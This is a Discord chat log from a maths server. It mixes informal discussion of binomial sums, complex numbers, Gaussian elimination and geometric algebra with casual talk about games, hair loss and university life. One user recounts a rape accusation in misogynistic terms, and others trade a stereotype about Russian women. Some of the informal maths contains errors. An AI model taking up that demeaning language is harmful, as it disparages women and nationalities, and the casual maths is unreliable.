serious-discussion

[calm wolf]

thanks, I must have missed it

[ocean robin]

all good :]

[true zinc]

I feel so weird not just being able to follow th questions but maybe even attempt a proof of some of these now

[finite glade]

@faint elk

[weak nymph]

Heyy everyone, I am new here to Discord.

[ocean harbor]

hi im new im akira

[latent leaf]

Hello, new here to Discord.

That's a very long name, pretty tough, must have been

[unkempt steeple]

I’m gonna have to self study most of linear algebra

What’re the best resources online

[latent leaf]

I got Kunze's book, I am using that for self teaching

[weak nymph]

Hey can y'all add me, ..into friends list

[fiery stump]

no, we have discord servers so we dont have to add people to interact

[glass peak]

Linear algebra done right by Axler is free online and is a pretty standard book

There’s also loads of stuff on MIT OCW

I personally prefer Hoffman Kunze as a book, but LADR is popular

[torpid bay]

$\sum_{n=0}^{y}{n \choose x} = \binom {y+1}{x+1} - \frac{\sin(\pi(x+1))}{\pi(x+1)}$

[fathom swallow]

Yeatte

[burnt ledge]

isnt the second term on the right hand side zero?

[torpid bay]

that's for when the n = 0 starts at x apparently orsmthn

,w hockey stick equation

and hockey stick identity is only for naturals

$\sum_{n=x}^{y}{\binom{n}{x}}=\binom{y+1}{x+1}$ for $x,y \in \mathbb{N}$ where $y\ge x$

whereas mine works for all numbers x, and naturals y

[fathom swallow]

Yeatte

[torpid bay]

$\sum_{n=0}^{y}{n \choose x} = \binom {y+1}{x+1} - \frac{\sin(\pi(x+1))}{\pi(x+1)}$ for $x\in \mathbb{R},y\in\mathbb{N}$

[fathom swallow]

Yeatte

[lofty forge]

Apologies for the question, but is the (n x) supposed to be a matrix, if not then what is it?

[torpid bay]

$\binom{n}{x} = \frac{n!}{(n-x)!x!}$

[fathom swallow]

Yeatte

[torpid bay]

the binomial coefficients

so like

[lofty forge]

Isn't that combination

Like ⁿCx

[torpid bay]

$(x+1)^2 = \binom{2}{0}x^21^0+\binom{2}{1}x^11^1+\binom{2}{2}x^01^2=x^2+2x+1$

[fathom swallow]

Yeatte

[vivid halo]

yes

[lofty forge]

Ahhhh got it, so it's the sum of ⁿCx with limit of n from 0 to y

[lofty forge]

And what is this, is it a proved formula?

[candid fractal]

Yes

u can show that with the pascal relation

And u have a telescopic sum which gives the wanted result

[lofty forge]

Alright thank you, finally what's its name?

[candid fractal]

Of what ?

[lofty forge]

The formula

[candid fractal]

The equality ?

[lofty forge]

Yeah basically

[lofty forge]

This

[candid fractal]

Theres no name for that

[lofty forge]

Alright

So basically just a formula for the sum of combinations

[candid fractal]

Yep a very known equality

in combinaroty

[lofty forge]

Alright Thank you

[torpid bay]

well

the most similar one I could find is the hockey stick identity

which is a actually a special case of using this formula

oh u prob talking about binomial oop

[warm umbra]

Welcome to the server @lofty forge

[green goblet]

U know Jay uso

[neat lintel]

i keep forgetting 19 is prime

[green goblet]

Hmmm

Dryyyyyyyyyyy

U all are dry very dry

[weak nymph]

Hey, can we be friends?

[green goblet]

No no i ignored it sorry

Not so fast

[willow crystal]

yeet back to his original

[warm umbra]

I try my best.

[restive salmon]

[warm umbra]

🫶

[lofty forge]

Thanks mate

[dreamy ore]

this book im reading introduces complex numbers like this:

1. a complex number is a pair of real numbers (a, b)
2. they add like (a, b) + (c, d) = (a + c, b + d)
3. they multiply like (a, b) (c, d) = (ac - bd, ad + bc)
4. (a, b) is more commonly written a + jb
5. (a, 0) and (0, b) can be written a and jb respectively
6. a consequence of (5) and (3) is that j j = j² = -1

[junior veldt]

that’s… a rather terse way to introduce them

[lofty forge]

A bit more complicated but yeah, more informative than the way they taught us here

They simply told us complex numbers are represented as a + ib, where a is the real part and ib is the imaginary part, and that i is sqrt(-1), some basic formulas and that's all, your introduction were some very basic questions or examples in our books

[dreamy ore]

it then goes on to say that the consequences of (2), (3) and (6) are that complex numbers, when written in rectangular form, can just be distributed like in normal agebra and that another consequence of (6) is that 1/j = j/jj = j/-1 = -j

im just wondering if they had a reason for introducing them like this

and not by defining j = sqrt(-1)

[lofty forge]

They kinda did that in the 6th step, but yeah, maybe it's a more theoretical book, because the approach at introduction is relatively complicated, unless it's an advanced book and they know that you know all this stuff already

[dreamy ore]

i mean they kinda do expect u to know all of this already, this is in the appendix

basically right after showing 1/j = -j, they go on to say
exp(x) = 1 + x + x²/2! + x³/3! + ...
so
exp(jx) = 1 + jx + (jx)²/2! + (jx)³/3! + ...
= (1 - x²/2! + ...) + j(x - x³/3! + ...)
= cos(x) + j sin(x)

so a complex number z can be written in the form |z| exp(jθ), called the polar form, where |z| is called the modulus and θ the argument

[lofty forge]

Euler's identity after that?

[dreamy ore]

yeah

[lofty forge]

Yeah yeah this

If it's the appendix then maybe it's not as detailed, the chapter ought to have a slower approach

[dreamy ore]

there is no chapter just on complex numbers lol in the actual content it just says "for a refresher on complex numbers, see the appendix"

i just think its just funny how they decided to introduce complex arithmetic

not by j = sqrt(-1)

but starting with the multiplication rules then ending up with jj = -1

[junior veldt]

This is kinda sus is the issue

[dreamy ore]

right cuz (-j)² is also -1

[junior veldt]

You have to be careful about just pretending you have solutions to equations

[lofty forge]

Yeah, IDK why they complicated it so much unnecessarily

[junior veldt]

Imagine trying to add a k such that e^k = 0, for example

[dreamy ore]

yea

idk what conclusions that would lead u to

but i assume it would be chaotic and not nice

[junior veldt]

Personally i prefer introducing the complex numbers geometrically

[verbal arrow]

hello guys in gaussian elimination, when do i know when to start using back subti

[lofty forge]

Yeah IG, I prefer algebra but geometrical approach helps visualize it better

[dreamy ore]

when u have a triangular matrix

[dreamy ore]

ngl i rlly like this approach

where u define a complex number as just a pair of real numbers

[junior veldt]

#linear-algebra message

[dreamy ore]

cuz it avoids the problem of sqrt(x) being multivalued

[junior veldt]

I discussed the geometric approach here before

[junior veldt]

Sure but i think the multiplication rule ends up feeling pretty unmotivated

[verbal arrow]

triangular matrix in lower part? like staircase of 1 with zeros below it?

[dreamy ore]

well yes ofc :p

[dreamy ore]

upper triangular matrix to be more precise

[lofty forge]

Yeah it's like chess, there are multiple decent lines but it depends on which one you prefer, one might be boring but straightforward and the other might be exciting but complicated

[dreamy ore]

the last line will be
[0 0 .... 0 0 n] [x] = [y]
corresponding to nx = y, x = y/n

then u can just backsubstitute

[verbal arrow]

oh so like in the last row it has 0 0 0 0 0 and above it are 0 and 1?

[dreamy ore]

elegant

[dreamy ore]

no

what

[junior veldt]

:)

[verbal arrow]

😭

[dreamy ore]

just look up upper triangular matrix

[dreamy ore]

u might have guessed by the usage of j instead of i but this is an engineering book

so tbh i think the author just wanted to introduce complex numbers as fast as possible

[verbal arrow]

oh just like that

[junior veldt]

yeah if you’re going for speed, this is the most efficient way

not really the best for understanding, of course

[verbal arrow]

last question, do i need to care about non zeros that is not 1, above the upped triangular matrix?

[dreamy ore]

upper triangular matrix means everything below the diagonal is 0

the upper half of the matrix (including the diagonal) can be whatever u want

the diagonal doesnt even have to be 1s

[verbal arrow]

oh, when that happend i can use back subti now?

[dreamy ore]

yes

[dreamy ore]

.

[verbal arrow]

i understand now

[dreamy ore]

@junior veldt ngl i rlly rlly dont like the idea of defining j as sqrt(-1)

[junior veldt]

Neither do i

I prefer the yoneda-like approach I outlined in that message

[dreamy ore]

because well u cant use the idea of the principal square root until u have eulers formula

[dreamy ore]

hmm.. it is nice

but idk if it is gonna be easy to teach people to think of numbers as.. things that do things

instead of just.. things

[junior veldt]

Well it need not be mutually exclusive

They’re simply different perspectives you can take on numbers

[dreamy ore]

and also the motivation for "what if we wanted a number that turns the real line 90°" is kinda sus

[dreamy ore]

yes ofc

[junior veldt]

Ah sure, that’s kind of a separate thing to what my explanation was trying to achieve

This falls under motivating the equation x^2 = -1 in the first place

[dreamy ore]

yeah

how do we motivate i

without just saying "what if i wanted a sqrt(-1)"

or resorting to solutions of certain cubics

[junior veldt]

You can talk about cyclic processes

But i do definitely see your point

-# i wonder if one could show geometrically that multiplying by -1 has the same effect as a 180 degree rotation, and then get people to think “what if multiplication in general could correspond to rotation”

[dreamy ore]

A exp(cx) is the only function where the derivative is a multiple of itself (i.e. f'(x) = c f(x)) (this is easy to show)

take the function
f(x) = a cos(x) + b sin(x)
then
f'(x) = b cos(x) - a cos(x)
f''(x) = -a cos(x) - b sin(x)

we can see f''(x) = -f'(x), which is a similar property to A exp(cx) mentioned earlier. but the first derivative is dissimilar to the original function. if only there was a c such that

c a = b
c b = -a
(by matching the coefficients of f and f')
then f' = cf and f'' = cf'

from the 2 equations we can see that
c² b = - c a = - b
-> c² = -1

if this c were to exist, then if we set a = 1
c a = b = c
c b = c² = - a = -1
which is consistent with the c² = -1 we derived earlier

hence if this c were to exist,
cos(x) + c sin(x) = A exp(cx)

idk lol

saying c² = -1 just comes back to c = sqrt(-1)

[dreamy ore]

hmm

[junior veldt]

In that case, x^2 = -1 would be a byproduct, not the motivation

[dreamy ore]

yeah

[zealous garden]

-1 isn't 180 degrees, it's 360

i is 180 degrees

[junior veldt]

?

[zealous garden]

I mean just look at quaternions

-1 if you look at it plainly, is a point reflection through the origin. This doesn't have a square root in many spaces

And its flat out not true that rotating 90 degrees twice in any plane of R^3 is a point reflection the way it is in R^2

Yet ijk=-1

Ergo -1 is not a point reflection

[junior veldt]

i have no clue what you're talking about

[zealous garden]

The consistent view says -1 is a 360 degree rotation, spinor style

i,j,k are 180 degree rotations in their respective planes

[junior veldt]

i wasn't talking about quaternions

[zealous garden]

Nope you were talking about geometrically motivating i and -1 right?

Geometry done properly won't depend on dimension

[junior veldt]

I don’t really care what you think “proper” geometry is

It’s very standard to visualise i as a 90 degree rotation

[zealous garden]

Works in R^n

[zealous garden]

It's also standard to be wrong and confused about many things

It's also standard to use the cross product for planes in R^3, doesn't make it right

[junior veldt]

ok you're just being weird and cringe

talk to someone else about your personal model of geometry, i'm not interested

[zealous garden]

It's not my personal model of geometry

Its standard

Lol

[junior veldt]

i said, i'm not interested

[zealous garden]

Anytime you step out of R^2 in fact

[zealous garden]

Cool?

What does this mean to me

I was done talking about it

[junior veldt]

then stop talking about it

[zealous garden]

You know, I don't think I will

[pure hollow]

Hello pseudo

[junior veldt]

hi...

[pure hollow]

What happened...

[junior veldt]

dealing with some geometry crank idk

[zealous garden]

Homie is hostile for no reason

[pure hollow]

Wraith is a crank now

[zealous garden]

I'm showering before I begin yapping

[zealous garden]

Now??

Man I fell off

[junior veldt]

you know this person?

[zealous garden]

Yes I'm prolific

[pure hollow]

Yes

[junior veldt]

i see

do you know why they're like this?

[zealous garden]

All I did was say it's misguided to justify -1 being a 180 degree rotation, because it generally just is not

[pure hollow]

wraith definitely knows math just highly geometric pilled

[junior veldt]

doesn't sound particularly geometric to me

[pure hollow]

Geometric in the sense of geometric algebra

[zealous garden]

Well if you work out the formula for reflections across hyperplanes you end up with (unit) vectors double covering reflections, an anti-commutativity rule, and a sandwich product

[junior veldt]

ohhhhhhhhhhhhhh

this makes a lot more sense now

[zealous garden]

Which coalesce in (-1)x(-1)=x

[junior veldt]

geometric algebra people are often like this

ime

so ig geometry crank was accurate then

[zealous garden]

In my opinion

Apparently the wider opinion of whether or not I'm a crank shifts from time to time

[junior veldt]

do not call me that

[zealous garden]

Are you the one who objected to being called homie yesterday

What is the issue with the label I thought it was one everybody could agree with

Is it just "I'm not your homie" shit

[junior veldt]

clearly not

[zealous garden]

Which message is that responding to

[junior veldt]

.

[zealous garden]

What's the problem with it?

[junior veldt]

i don’t want you to call me that, is all

[zealous garden]

Alright pobleromie

[junior veldt]

tf is that

[zealous garden]

It's a gibberish word I started calling certain friends and people after discovering "Polvorones"

Some shortbread orange cookies

I assume Mexican or some south/central American brand, they stock it in the international aisle

Love em with coffee

[junior veldt]

look “homie” and its homophones just feel too masculine for me

this is why i asked you to not call me that

[zealous garden]

So is pobleromie also no good

[junior veldt]

yes

[zealous garden]

I specifically chose homie cus it felt gender neutral to me lmfao okay

I'll just call you Pseudo for now but I still need a solution for the general case

Unless I just call everyone "Pseuds"

Done

[junior veldt]

do you have any actual interesting maths to share

[zealous garden]

Do you mean at this particular moment? No, I need to get back to attempting to classify the pythagorean metric vectorspaces so I can do GA

[junior veldt]

ok then bye

[zealous garden]

Bye pseuds

[torpid bay]

[zealous garden]

Lovely struggles continue

If I were to threadpost about this, which topic channel would I occupy

[torpid bay]

lel

not sure

[zealous garden]

Such a simultaneously broad and specific trail feels out of place in like, linear algebra

[torpid bay]

u said pythagorean, so I would usggest #geometry-and-trigonometry in pre uni

~~or #advanced-algebra ~~

[zealous garden]

HAHAHA

[zealous garden]

I think that might be the place

~~ or #help-4 ~~

[stark silo]

I know it's "just arithmetics" but finding 4 unknowns with 6 equations is such a pain in the ass

I hope this won't come out in the exam. Newtonian mechanics

[errant zenith]

Newton is amazing

[stark silo]

I don't wanna have to do this with time pressure

It's not even the whole thing it's just the first part of analysing the structure

[rocky shuttle]

overdetermined system?

[stark silo]

Not even that

2 fixed bearings and 1 Momentengelenk, googling what it is in English...

oh, hinge, that's easy

[rocky shuttle]

Ach so

Technische Mechanik

[obtuse grail]

Hi

[tropic pivot]

Hello

[obtuse grail]

Hi

[obtuse grail]

I recently joined this server

[tropic pivot]

Okay. Welcome. How are you?

[obtuse grail]

Thanks. Am good

And u

[tropic pivot]

I'm good

Where are you from?

[obtuse grail]

Nigeria

[tropic pivot]

Oh cool.

[obtuse grail]

Yeah

[tropic pivot]

So what season is going on there?

[obtuse grail]

It's the rainy season

Right now it's even raining

[tropic pivot]

Same here.

[obtuse grail]

Where are you from

[tropic pivot]

India

[obtuse grail]

Wow that's so cool

How is it like in India

Wait are you a girl or a boy

[tropic pivot]

It's raining and even some catastrophe is going on in some places.

[tropic pivot]

I'm a boy.

[obtuse grail]

Y

[obtuse grail]

That's nice

[tropic pivot]

Rainy season, flood somewhere. Cloud burst on mountains. Etc

[tropic pivot]

Okay.

[obtuse grail]

Same here

[tropic pivot]

👍

[obtuse grail]

Sry for late response

So.... Should I call you AHit

Would you like to chat personally than on the server

[tropic pivot]

Very much

[tropic pivot]

But why?

[obtuse grail]

Ok thanks

[tropic pivot]

Is there any concern?

[obtuse grail]

Idk I thought you would prefer it

[obtuse grail]

No not really

[tropic pivot]

Naw, you can ping me here, whenever you want.

[obtuse grail]

How is school like in India

[obtuse grail]

Ok thanks AHit

[tropic pivot]

All good. There is much pressure on studying here.

[obtuse grail]

Wow I love studying

[obtuse grail]

Same here also

[tropic pivot]

What are you studying?

[obtuse grail]

I am 13 years old and I am in secondary school

[obtuse grail]

U will have to be in university before you will decide what to study here

I love math

What are you studying

[tropic pivot]

I'm doing graduation in maths

[obtuse grail]

Wow that's awesome

[tropic pivot]

Keep it up.

[tropic pivot]

Yup

[obtuse grail]

Thanks

[obtuse grail]

So u are in university

[tropic pivot]

Definitely.

[obtuse grail]

Wait hope there isn't any problem asking how old u are

[tropic pivot]

23

[tropic pivot]

Good night.

[obtuse grail]

congratulations on your graduation AHit

[obtuse grail]

Good night it's was nice chatting with you

[misty owl]

Chat a HUGE opportunity opened up for me

[latent leaf]

wow

hiow?

[verbal quest]

enjoy your canned spinach

[misty owl]

lol

[misty owl]

An emeritus invited me to present and defend my research the EE PhD committee

[latent leaf]

Woooahhhh

Congratulations 🎉🎉🎉🎉

[polar temple]

I heard

India seems like it sucks for students - same with china, korea, etc.

the competition is insane

[stray fox]

w

[green crown]

hello

[warm umbra]

Welcome to the server @green crown

[green crown]

thank you, looks great!

[valid hornet]

Hello, is there any way to download the Lean programming language on Debian/Ubuntu with a package manager? I'm having trouble figuring out what to do to actually set up a file. Does one just have a text file and run it?

[ocean harbor]

holy shit a linux user

thats a good question actually but if u have vscode installed u could use elan

install it using apt or sudo

[gritty heath]

Can cnfm, thats how I do it in fedora

[ocean harbor]

i use debian

[undone relic]

Hello!

[ocean harbor]

hai

[undone relic]

Just wanted to say that I love math so much but sometimes it gets really confusing I want to study more but it overwhelms me 😭😭😭

[ocean harbor]

same lmao

[dim forge]

is the chat dead?

💔

[tropic pivot]

Yes

[dim forge]

💔

yo chat does eating onion help with hair?

I'm 18 rn and facing hairfall issues

gonna go to a dermatalogist this weekend

I'm eating like 1 onion per day

[tropic pivot]

I'm older and also getting hair loss.

[dim forge]

how old are you unc 🥀

[tropic pivot]

29, and I consume onion every day but cooked.

[dim forge]

I like to eat it raw

like in form of salad

with cucumbers as well

[blissful basin]

bro where were you??

[tropic pivot]

I like the onion too. But not for hair loss.

[dim forge]

does it improve in hair though?

[blissful basin]

cloner?

[dim forge]

I also like to eat it just for the taste

[blissful basin]

clone??

[dim forge]

not the sould purpose of hair

[blissful basin]

CLONE?!

[blissful basin]

yo

yo

YO

[tropic pivot]

I don't, hair loss can be any reason. I heard that one place every person was getting hair loss and they were eating some foods with heavy metals.

[dim forge]

💀

[tropic pivot]

Don't spam

[dim forge]

well what do you think is the reason for your hair loss?

stress?

family?

[neat lintel]

woman

[tropic pivot]

Could be any, stress, modern life style, water, food.

[quick beacon]

@blissful basin you're getting spam filtered because you're flooding chat otherwise. It happens automatically via discord.

[tropic pivot]

Yeah this too count as stress

[neat lintel]

depend

[dim forge]

I had one crazy expernice with a girl here in India

[tropic pivot]

Please count genetics too.

[neat lintel]

did she make you lose hair or

[blissful basin]

nah bro what did you experience?

[dim forge]

I guess 🥀 we both were 18 and I lost my virginity to this girl, and suddenly she told her family about it and her family wanted me to marry her 💀 , when I refused, she filed a case on me that I 🍇 her

💔

[neat lintel]

man..

[dim forge]

like bro

that's a serious accusation

[tropic pivot]

https://tenor.com/view/d2-soumi-hair-spin-hair-gif-15175516

[dim forge]

like imagine you get called a

🍇 ist

[blissful basin]

"this site can't be reached"

[neat lintel]

why not marry her, she ugly?

[tropic pivot]

Got clean chit?

[dim forge]

dude I'm still 18, 😭 I can't even legally marry here before 21

[tropic pivot]

This channel doesn't support media (gifs).

[neat lintel]

i know india marry is expensive

[neat lintel]

we no role

[dim forge]

had to bribe that bitch

[dim forge]

it's not about the price as well, my background is privileged not to brag, but I just don't wanna marry rn

[neat lintel]

why, you have proof

why give money

[dim forge]

the laws here gynocentric af

well it sounds ridiculous but in the eyes of indian law "I 🍇 her"

[tropic pivot]

Yeah. Here boys can't get 🍇 ed

[neat lintel]

in russia, you have prove together and above 18, no one can send you to court

no bitch can scam you

[tropic pivot]

Laws need to be gender neutral. Crimial is crimal

[tropic pivot]

Where are you from by the way?

[neat lintel]

so no sleep until marry then

no kiss too

[tropic pivot]

Just sleep before marrying and don't sleep after marriage.

[neat lintel]

but how make child after

no sense

[tropic pivot]

Your sleep means different, mine different. I get your point.

[neat lintel]

crazy planet we live in

[tropic pivot]

Let's go for mars.

[neat lintel]

soon

[tropic pivot]

A good alien girl is waiting.

[neat lintel]

man.. we already have alien girl if you know 😉

[tropic pivot]

Predator is all about this?

[neat lintel]

i no get it

[tropic pivot]

So you're married?

[neat lintel]

i have girlfriend

[tropic pivot]

Okay.

[dim forge]

india

[neat lintel]

you india too? @tropic pivot

[tropic pivot]

Yup

You from Russia?

[neat lintel]

yes

moscow

[tropic pivot]

Can I try on girls there?(Asking genuinely)

[neat lintel]

explain

i no get it

[tropic pivot]

Friends.

[neat lintel]

russia friends?

[dim forge]

bro our image is already bad 😭

[tropic pivot]

Yup

[dim forge]

Indians have a thing for russian women

lets put it that way

[neat lintel]

my girl and me together from highschool, now in university

[neat lintel]

they want?

[tropic pivot]

What can I do? I don't even make friends here. Do you think i can friend a foreigner. I'm talking to you just because it is chat.

[neat lintel]

man i want to ask

[dim forge]

yeah apparently from the prostitution of russian women here

[neat lintel]

how big is highschool class in india

[tropic pivot]

I didn't ask that way.

[dim forge]

trash

💔

[neat lintel]

no like population, we are 25-30

[dim forge]

uhh depends

it could be 50-60

or 20-30 as well

[neat lintel]

ah good

[tropic pivot]

Depends on money. We have high class schools and some good but infrastructure less schools too.

[dim forge]

the older I got, the less people were in my class

[neat lintel]

wow

[dim forge]

lol

[neat lintel]

india competition for university is hard

[tropic pivot]

Yeah. Money is money.

[tropic pivot]

And school doesn't help it to achieve.

[neat lintel]

too many take exam

[dim forge]

yeah but they still trash compared to US universities

also the caste system is also fucked up here💔

[neat lintel]

is engineer not good?

[tropic pivot]

Yeah they spent much more money on research and innovation.

[dim forge]

I could have gotten into a good college

this year

but I'm taking a year

to prepare again for the exams

[neat lintel]

they corrupt

[tropic pivot]

Where ?

[dim forge]

:/

[dim forge]

NIT

[tropic pivot]

Delhi?

[dim forge]

I had 92 percentile this year

I'm taking a drop year

100 percentile in maths

my chemistry was weak

[tropic pivot]

Oh.

[neat lintel]

for what diploma

[dim forge]

engineering

[neat lintel]

ah good

[dim forge]

that's like the default profession 😂

didn't really have a choice to explore other fields

lol

[tropic pivot]

In what field you are trying? Like cs, civil?

[dim forge]

aerospace

biotech

not cs

[tropic pivot]

No IIT?

[dim forge]

not interested in programming

[dim forge]

couldn't qualify mains cuz I'm from general category

[tropic pivot]

Best of luck for the next one pal.

[dim forge]

thanks

[neat lintel]

big population is big competition

[tropic pivot]

Less population is also big problem. Russia, japan china population is on decline i heard.
How old you're by the way?

[dim forge]

fr

:/

[neat lintel]

i 21

[tropic pivot]

What are you studying?

[dim forge]

demn I might be the youngest lol

[tropic pivot]

That doesn't make me intelligent

[neat lintel]

computer science at MSU

my girlfriend too

[tropic pivot]

Cool. In what language do they teach you?

[neat lintel]

russian

[tropic pivot]

✌️

[neat lintel]

you can come but you need year to prepare to get russian

[tropic pivot]

Are there different versions of russian in different localities?

[tropic pivot]

Are russian people good to foreigners?

[neat lintel]

explain i no get it

[neat lintel]

for me, i have no problem, international students many here

[tropic pivot]

Meaning you speak the same russian all over the country or are there different versions?

[neat lintel]

russia have different languages in different regions

[tropic pivot]

Okay.

[neat lintel]

but no big difference

is like south korea and north

[tropic pivot]

They give one year along with academic or you just first learn russian and then start academics?

[tropic pivot]

Cool

[neat lintel]

you take one year to prepare then after you start university

you take exam

[tropic pivot]

Okay. Do you have a scholarship?

[neat lintel]

what means

[tropic pivot]

Govt. Provide financial help to brilliant students.

[neat lintel]

i think i got it, we have space allocated for people at budget is what is called and people at tax who pay, i at budget

if you study good you can make one year at budget from tax if you want

[tropic pivot]

That's good.

[neat lintel]

you not allowed to make 2 university at budget, is one time

[tropic pivot]

That will be fraud

[neat lintel]

you can make another university but you pay tax

you can make 2 university parallel at same time but one you pay tax

[tropic pivot]

Okay

See you later.

[neat lintel]

good luck

[edgy tiger]

They are kinder inside than youd expect

[tropic pivot]

Okay. You gave your opinion as native or foreigner?

[edgy tiger]

Foreigner

[edgy tiger]

I was there for a trip

[neat lintel]

where

moscow?

[edgy tiger]

Yeah

[neat lintel]

what you visit in moscow

[edgy tiger]

Shake shack burger

[neat lintel]

ok…

[nova furnace]

Is math a science?

[neat lintel]

you not have in you country or business visit?

[edgy tiger]

Uh yeah we do have on here I think

But irrelevant for where I live

[neat lintel]

you visit red square?

[edgy tiger]

Yeah I did

[neat lintel]

or gorky

[edgy tiger]

gorky no

[neat lintel]

i not know name in english of some

[obtuse grail]

Hi

[formal wolf]

If mathematics were not considered a science, the other sciences would not function.

For example physics without maths would not fuction

[mint canopy]

Mathematics would remain as useful if we called it a science or a top hat. Giving it a different name doesn't change how useful it is.

[teal tree]

i'd rather have a BSc over a BTopHat

[mint canopy]

The employment prospects certainly would sound more encouraging

[burnt ledge]

Shakespeare talks about this in Romeo and Juliet

[dim forge]

whats good chat 👅

[mint canopy]

I was gonna quote it but I felt like that would be too 🤓 ygm

[teal tree]

herbal soup

[mint canopy]

I should read Umberto Ecco's The Name of the Rose

[vast wraith]

you dont need to read his focault's pendulum

take my word for it

[neat lintel]

hello

[obtuse grail]

Hi

[jolly plover]

does number have correlation with biology acceleration and dreaming ability of seeing natural geometry shape of diagnal

[mint canopy]

The old man the boat

[bleak saffron]

Hi

[neat lintel]

hello

[obtuse grail]

Hey

[neat lintel]

hello

[obtuse grail]

Hi

[neat lintel]

what you want

[long lark]

fat people eat accumulates

[neat lintel]

why you say hello just say

is annoying

[tame egret]

@obtuse grail you could ask hru or talk about math or something or they might think you're spamming

[sly thistle]

silksong sept 4

[vivid quest]

No they're not, they just sent me hi 7 tumes in dm

[mint canopy]

Are they spamming your DMs?

[vivid quest]

They were

I blocked them

[dim forge]

huh?

not hair transplant treatment bro 😭

I'm still 18

I got hope

[neat lintel]

i got mentioned

who was

[obtuse grail]

Nothing just chatting

[neat lintel]

but say hi many times

[obtuse grail]

Oh I am not spamming I joined this server because I love math and not to spam people

[obtuse grail]

Ok how many times did I say it

[neat lintel]

3

[obtuse grail]

Oh yeah sorry I noticed nobody answered or because my message was not delivered that's why

[neat lintel]

ok

[tame egret]

Oh okay no problem

[obtuse grail]

Yeah thanks for understanding

Should I introduce myself and u also introduce yourself

[tame egret]

Yeah okay
But I know everything already

[obtuse grail]

Ok how did you know

[obtuse grail]

Ok I see where am I from

[tame egret]

Nigeria

[obtuse grail]

Ok good

[tame egret]

¯_(ツ)_/¯

[obtuse grail]

U are on #discussion right

[tame egret]

Yup

[obtuse grail]

No wonder

U know about me

Ok so where are you from

[tame egret]

I'd rather not doxx myself

[obtuse grail]

What do u mean

[obtuse grail]

I am not a bad person and I am not spamming u

[tame egret]

Yeah but like I'd rather not here

[willow crystal]

the constant splendos 😭

[tame egret]

[lost flame]

Hello hello yall

Good evening

[tawny mortar]

hi

[lost flame]

Hello eggception!!!

What are you up to tonightt

[tawny mortar]

hmm

[tawny mortar]

not too much I was just kinda juggling multiple things

hbu

[lost flame]

I'm up to so little, it's wild

[tawny mortar]

really?

[lost flame]

I got out of my apartment at least, which is nice

I've been too shut innnn

What are you juggling??

[tawny mortar]

ugh I felt that

[tawny mortar]

I was trying to decode a person, process feelings, do some math with tensors/vectors/partial derivatives

[lost flame]

Oh, those are all potentially very tricky

[tawny mortar]

eh

processing feelings was hard but the other stuff was fine

[lost flame]

Ahh

[twin flicker]

tbh sort of same except i leave my house for exercise but not much else

[tawny mortar]

😭

I recently just started going line dancing

[twin flicker]

whats line dancing

[tawny mortar]

https://tenor.com/view/dancing-tia-mowry-hardrict-cocoa-mckellan-anthony-alabi-moz-mckellan-gif-18562954

that

[lost flame]

Oh!!!

Have you been having fun with it?

[tawny mortar]

oh yeah it's pretty fun

sure

[tropic pivot]

what is the project about?

[tawny mortar]

I love ur pfp

[tropic pivot]

thank you it was take last year inside zoo.

[lost flame]

It's such a good lizard

[tropic pivot]

i dont know its species but looks like gecko?

[tawny mortar]

it seems really good

[tawny mortar]

I believe it might be aswell

I'm really glad this isn't one of those things where someone throws out a half baked idea with no actual rigor. This was incredibly refreshing to see.

[tropic pivot]

if you want i can share?

[tawny mortar]

sure

[tropic pivot]

i will dm you soon

[tawny mortar]

alr

[tropic pivot]

is that trade doing startup?

the word are so professional that i didn't understand it at all.

[tawny mortar]

Compute is definitely one of the biggest hurdles I see when someone is working with AI (mainly because my parents are software engineers/computer programmers). I don't have much expertise in that area, as I am more focused on physics.

This, regardless, is impressive and could stay in use for a long time. The only issue otherwise would be adapting to competition in later years.

[tropic pivot]

cool

[tropic pivot]

done

[tawny mortar]

Taking a look at it, it doesn't look like an iguana. I'm unsure exactly of what species it is, but it might come from the iguana family.

could just be the angle though

I don't have formal training I more so just do some on the side. Edwin Jaynes was a very interesting person I must say.

I think my favorite person was Tesla. An incredibly smart man.

Humble, too.

ooh those are very good choices

de moivre has probably been the most interesting in terms of adding to part of the foundation of mathematics.

We tend to take the little things for granted.

Interesting. I don't think I've heard of John Graunt before. I may take a deeper look into his work.

[tropic pivot]

you guys are intellectual person.

[outer crag]

@void crescent dont mess up the streak

@modern solstice dont do it

[modern solstice]

Huh?

[lost flame]

Everyone is so smart and good <3

I believe in all of you, I promise

[stark thunder]

are you a quant or smth per chance

[jagged pendant]

So smart and good

[stark thunder]

oooohh

when you say you studied it do you mean as a course?

oh i didnt know that

was even a course in Uni

is doing a math degree straight into quant better than like an ML course like you did?

im like applying to uni in less than a year

[old oak]

The clinching argument

[icy heron]

I wasn't convinced until I read that her response was in fact balanced, realistic and resource-backed

[stark thunder]

i defo do wanna be a quant thats why i asked

I don't think I'm that far in my academic journey just gonna write my A levels

No uhh I know what ml and quant is to an extent

So like in your opinion seeing in your bio that you have a PhD and msc in math would you say programming or coding is wayy more valuable for a trader

[pure hollow]

you need to be decent in coding if you wanna be a trader

[stark thunder]

Got that but I'm talking abt the relative importantce

Between math and programming

[obtuse grail]

Hi

[terse comet]

ive FINALLY unlocked all decks (?) @quick beacon @faint light @gusty socket

[mint canopy]

That's indeed the last deck

so should be

[terse comet]

yippeee

[mint canopy]

nice

[terse comet]

did it with ghost deck

[mint canopy]

god that deck is so fun

[terse comet]

couldve probably done it much faster with checkered or plasma but mama didnt raise no bitch

[mint canopy]

Safe to say that ghost is your favourite?

[terse comet]

I actually really like anagraph and painted the most probably

painted just lowers the mental load, moves it away from hunting for a hand and to more strategizing I feel

anagraph is just epic I love building like 6 double tags and then getting a billion worthless negatives that make it so that I can't see my jokers lmaooo

[mint canopy]

My winrate weridly is way higher on anaglyph, Idk why exactly

it's definitely less powerful on gold stake, in theory, than a lot of other decks

but I think the fact that it's restricted early on makes me play better lol

[gusty socket]

@reef carbon is also into balatro i think

[terse comet]

oh it's analglyph not graph lol

yeah my win rate is low mainly I think because I suck but secondarily I think because I see a fun joker combo idea early and then send it even if it's bad

turns out all chips orange stake on not plasma deck is hard

I also fuck up Obelisk and ride the bus like every time

[mint canopy]

Yes plasma deck is actually hard on the higher stakes, it's so inconsistent grr

[terse comet]

I got Obelisk up to like 10x by playing lots of highcsrd early and then accidentally played too many pairs just spamming hands building green joker

[mint canopy]

oh wait lmao I misread

I have screwed up the bus so many times....

[terse comet]

I wish it could just not score a hand that would break the streak or pop up a warning at least lmao

[mint canopy]

It's uh

"type 2" fun :P

Not fun in the moment but fun to think about later

[reef carbon]

yes that i am

[reef carbon]

lets fucking go

[mint canopy]

